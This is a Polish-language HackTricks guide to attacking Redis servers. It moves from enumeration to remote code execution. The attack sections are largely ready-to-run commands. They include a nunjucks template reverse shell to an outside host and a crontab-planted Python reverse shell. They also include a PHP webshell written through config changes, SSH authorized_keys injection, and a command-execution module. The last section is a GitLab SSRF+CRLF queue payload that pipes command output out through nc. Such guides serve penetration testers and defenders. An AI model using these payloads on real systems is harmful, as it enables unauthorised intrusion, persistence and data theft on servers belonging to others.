mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
340 lines
20 KiB
Markdown
340 lines
20 KiB
Markdown
# 6379 - Testowanie penetracyjne Redis
|
||
|
||
<details>
|
||
|
||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||
|
||
**Spostrzeżenia z Hakerstwa**\
|
||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||
|
||
**Aktualności z Hakerstwa na Żywo**\
|
||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
|
||
|
||
**Najnowsze Ogłoszenia**\
|
||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||
|
||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||
|
||
## Podstawowe informacje
|
||
|
||
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty system (licencja BSD), przechowujący dane w pamięci, używany jako baza danych, pamięć podręczna i broker wiadomości.
|
||
|
||
Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
|
||
|
||
**Domyślny port:** 6379
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
## Automatyczne wyliczenie
|
||
|
||
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
## Ręczne wyliczanie
|
||
|
||
### Baner
|
||
|
||
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale jest to bardzo dziwne).
|
||
|
||
W zwykłej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz także użyć `redis-cli`:
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
Pierwszą **komendą**, którą możesz spróbować jest **`info`**. Może ona zwrócić wynik z informacjami o instancji Redis lub coś w rodzaju poniższego wyniku:
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych poświadczeń** dostępu do instancji Redis.
|
||
|
||
### Autoryzacja Redis
|
||
|
||
Domyślnie Redis można uzyskać dostęp **bez poświadczeń**. Jednakże można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
|
||
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\
|
||
Dodatkowo, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
|
||
|
||
{% hint style="info" %}
|
||
Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "**default**".\
|
||
Zauważ również, że **nie ma sposobu, aby zewnętrznie sprawdzić**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
|
||
{% endhint %}
|
||
|
||
W przypadkach takich jak ten będziesz **musiał znaleźć prawidłowe poświadczenia** do interakcji z Redis, więc możesz spróbować [**próbować siłowo**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||
**Jeśli znalazłeś prawidłowe poświadczenia, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
**Poprawne dane uwierzytelniające** zostaną odpowiedziane: `+OK`
|
||
|
||
### **Uwierzytelniona enumeracja**
|
||
|
||
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
**Inne polecenia Redis** [**znajdują się tutaj**](https://redis.io/topics/data-types-intro) **oraz** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.**
|
||
|
||
Zauważ, że **polecenia Redis instancji mogą być zmienione nazwane** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis znajdziesz tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||
|
||
Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
|
||
|
||
Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||
|
||
### **Dumpowanie bazy danych**
|
||
|
||
Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Możesz sprawdzić, czy któraś jest używana w wyniku polecenia `info` w sekcji "Keyspace":
|
||
|
||
![](<../.gitbook/assets/image (766).png>)
|
||
|
||
Możesz także po prostu uzyskać wszystkie **keyspaces** (bazy danych) za pomocą:
|
||
```
|
||
INFO keyspace
|
||
```
|
||
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis będzie używał bazy danych 0. Aby wyeksportować na przykład bazę danych 1, należy wykonać:
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
W przypadku otrzymania następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>` oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia go.
|
||
|
||
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasza.
|
||
```bash
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
|
||
# If the type used is weird you can always do:
|
||
DUMP <key>
|
||
```
|
||
**Wyciek bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||
|
||
**Spostrzeżenia dotyczące Hackingu**\
|
||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||
|
||
**Aktualności z Hackingu na Żywo**\
|
||
Bądź na bieżąco z szybkim światem hackingu dzięki aktualnościom i spostrzeżeniom na żywo
|
||
|
||
**Najnowsze Ogłoszenia**\
|
||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||
|
||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||
|
||
## Redis RCE
|
||
|
||
### Interaktywna Powłoka
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwrotną w Redis(<=5.0.5).
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
### PHP Webshell
|
||
|
||
Informacje z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu witryny**:
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj o przywróceniu bazy danych.
|
||
|
||
### Szablon Webshell
|
||
|
||
Podobnie jak w poprzednim rozdziale, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell.
|
||
|
||
Na przykład, patrząc na [**ten opis**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez silnik szablonów **nunjucks:**
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
{% hint style="warning" %}
|
||
Zauważ, że **kilka silników szablonów przechowuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak typu DoS na usługę (i oczekiwać, że zostanie ona automatycznie ponownie uruchomiona).
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||
|
||
Proszę pamiętać, że wynik polecenia **`config get dir`** może ulec zmianie po wykonaniu innych poleceń eksploitacyjnych. Zaleca się uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** możesz znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), co pozwoli Ci określić, gdzie możesz zapisać plik `authenticated_users` w celu uzyskania dostępu za pomocą ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz go również wykorzystać:
|
||
|
||
1. Wygeneruj parę kluczy publiczny-prywatny ssh na swoim komputerze: **`ssh-keygen -t rsa`**
|
||
2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. Zaimportuj plik do redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze redis:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
5. Wreszcie, możesz **ssh** na **serwer redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
Ostatni przykład dotyczy Ubuntu, dla **Centos**, powyższe polecenie powinno być: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### Załaduj moduł Redis
|
||
|
||
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) możesz **skompilować moduł redis do wykonywania dowolnych poleceń**.
|
||
2. Następnie potrzebujesz sposobu **wgrania skompilowanego** modułu
|
||
3. **Załaduj wgrany moduł** podczas działania z `MODULE LOAD /ścieżka/do/mymodule.so`
|
||
4. **Wyświetl załadowane moduły** aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST`
|
||
5. **Wykonaj polecenia**:
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
6. Wyładowuj moduł w dowolnym momencie: `MODULE UNLOAD mymodule`
|
||
|
||
### Bypass bezpiecznej przestrzeni LUA
|
||
|
||
[Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonania **kodu Lua w bezpiecznej przestrzeni**. W połączonym poście możesz zobaczyć, **jak to wykorzystać** używając funkcji **dofile**, ale [podobno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli uda ci się **obejść bezpieczną przestrzeń Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka **opcji wywołania DoS**.
|
||
|
||
Niektóre **CVE umożliwiające ucieczkę z LUA**:
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### Moduł Master-Slave
|
||
|
||
Wszystkie operacje na głównym redisie są automatycznie synchronizowane z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, podłączony do głównego redisu, który jest pod naszą kontrolą, dzięki czemu możemy wprowadzić polecenia do naszego własnego redisa.
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
## SSRF rozmawiając z Redis
|
||
|
||
Jeśli możesz wysłać żądanie **czystym tekstem do Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie czytał żądanie linijka po linijce i odpowiadał tylko błędami na linie, których nie rozumie:
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
Dlatego jeśli znajdziesz **lukę SSRF** na stronie internetowej i będziesz mógł **kontrolować** niektóre **nagłówki** (być może za pomocą luki CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis.
|
||
|
||
### Przykład: Gitlab SSRF + CRLF na Shell
|
||
|
||
W **Gitlab11.4.7** odkryto **lukę SSRF** oraz **CRLF**. **Luka SSRF** znajdowała się w **funkcjonalności importowania projektu z adresu URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co pozwala na dostęp do 127.0.0.1), a **luka CRLF** była wykorzystywana poprzez dodanie znaków **%0D%0A** do **adresu URL**.
|
||
|
||
Dlatego było możliwe **wykorzystanie tych podatności do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużywanie tych kolejek do **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
A **kodowanie URL** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania polecenia `whoami` i przesłania wyniku za pomocą `nc` to:
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
_Dlaczegoś (jak autor_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała ze schematem `git`, a nie ze schematem `http`._
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||
|
||
**Wgląd w Hacking**\
|
||
Zanurz się w treściach, które zgłębiają emocje i wyzwania hackowania
|
||
|
||
**Aktualności z Hackingu na Żywo**\
|
||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo
|
||
|
||
**Najnowsze Ogłoszenia**\
|
||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||
|
||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|